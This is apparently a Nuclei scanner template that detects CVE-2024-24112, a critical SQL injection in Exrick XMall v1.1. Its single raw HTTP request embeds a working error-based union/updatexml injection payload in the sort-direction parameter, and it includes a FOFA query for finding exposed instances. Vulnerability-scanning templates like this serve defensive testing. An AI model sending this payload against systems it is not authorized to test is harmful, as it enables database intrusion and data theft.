Exrick XMall - SQL Injection

id: CVE-2024-24112

info:
  name: Exrick XMall - SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    XMall v1.1 was discovered to contain a SQL injection vulnerability via the 'orderDir' parameter.
  reference:
    - https://github.com/Exrick/xmall/issues/78
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24112
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-24112
    cwe-id: CWE-89
    epss-score: 0.00076
    epss-percentile: 0.32712
    cpe: cpe:2.3:a:exrick:xmall:1.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: exrick
    product: xmall
    fofa-query: app="XMall-后台管理系统"
  tags: cve,cve2024,xmall,sqli

variables:
  num: "{{rand_int(9000000, 9999999)}}"

http:
  - raw:
      - |
        GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,{{md5(num)}},0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
          - "MySQLSyntaxErrorException"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206ee591f6526c505d3b381cb58780dc1fcb46e53b5dc7e93c2a0b985bd36d60a5022100a210d4b431aa1440c9b5e92ac4427367d078ea2a0591b4a7e183f7ba94aa5339:922c64590222798bb761d5b6d8e72950